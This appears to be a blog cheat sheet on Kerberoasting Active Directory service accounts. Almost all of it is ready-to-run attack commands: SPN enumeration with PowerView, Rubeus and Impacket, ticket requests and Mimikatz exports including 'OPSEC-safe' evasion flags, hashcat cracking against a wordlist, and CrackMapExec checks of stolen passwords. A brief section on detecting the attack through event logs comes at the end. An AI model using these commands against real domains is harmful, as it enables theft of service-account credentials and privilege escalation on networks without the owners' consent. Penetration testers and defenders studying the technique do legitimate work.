Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Kerberoasting Cheatsheet

Quick reference for performing and cracking Kerberoasting attacks from Windows and Linux.

Enumeration

CommandPlatformDescription
setspn.exe -Q */*Windows (CMD)List all SPNs in the domain
Get-DomainUser * -spn | select samaccountnameWindows (PowerView)List SPN user accounts
.\Rubeus.exe kerberoast /statsWindows (Rubeus)Kerberoastable account stats without requesting tickets
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>Linux (Impacket)List SPN accounts remotely

Request & Extract Tickets

Windows - Semi-Manual (PowerShell + Mimikatz)

# Request a single TGS ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/host.domain.local:1433"

# Export from memory with Mimikatz
mimikatz # base64 /out:true
mimikatz # kerberos::list /export

Windows - PowerView

Import-Module .\PowerView.ps1

# Single user
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

# All SPN accounts to CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation

Windows - Rubeus

# All kerberoastable accounts
.\Rubeus.exe kerberoast /nowrap

# High-value targets only (admincount=1)
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

# Specific user
.\Rubeus.exe kerberoast /user:sqldev /nowrap

# Force RC4 (pre-Server 2019 DCs only)
.\Rubeus.exe kerberoast /tgtdeleg /nowrap

# OPSEC-safe: tgtdeleg + skip AES-only accounts
.\Rubeus.exe kerberoast /rc4opsec /nowrap

# With alternate creds
.\Rubeus.exe kerberoast /creduser:DOMAIN\USER /credpassword:PASS /nowrap

# Filter by password age
.\Rubeus.exe kerberoast /pwdsetafter:01-31-2020 /pwdsetbefore:12-31-2022 /nowrap

# Output to file
.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap

Linux - Impacket (GetUserSPNs.py)

# Enumerate SPN accounts (shows group membership, password age)
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>

# Request all TGS hashes
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request

# Request TGS for a specific user
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request-user <SPN_USER>

# Save hashes to file
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile tgs_hashes.txt

# Single user to file
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request-user <SPN_USER> -outputfile user_tgs.txt

# Authenticate with NTLM hash instead of password
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -hashes :<NTLM_HASH> -request

Cracking

EncryptionHashcat ModeHash PrefixSpeed
RC4 (type 23)13100$krb5tgs$23$*Fast
AES-128 (type 17)19600$krb5tgs$17$*Slow
AES-256 (type 18)19700$krb5tgs$18$*Very slow
# RC4
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# AES-256
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

From .kirbi Files (Mimikatz Export)

# Base64 to .kirbi
echo "<base64>" | tr -d \\n | base64 -d > ticket.kirbi

# Extract hash
python2.7 kirbi2john.py ticket.kirbi

# Format for Hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > hash_for_hashcat

Encryption Type Check

Get-DomainUser <USER> -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
msDS-SupportedEncryptionTypesMeaning
0Default (RC4)
24AES 128/256 only

Verify Cracked Credentials

# Confirm access with CrackMapExec (look for "Pwn3d!" = admin access)
sudo crackmapexec smb <DC_IP> -u <USER> -p '<PASSWORD>'

Detection & Logging

Event IDDescription
4769Kerberos service ticket requested
4770Kerberos service ticket renewed

Enable via: GPO > Advanced Audit Policy > Audit Kerberos Service Ticket Operations

Anomaly indicators: bulk 4769 events from a single account, encryption type 0x17 (RC4) when AES is the norm.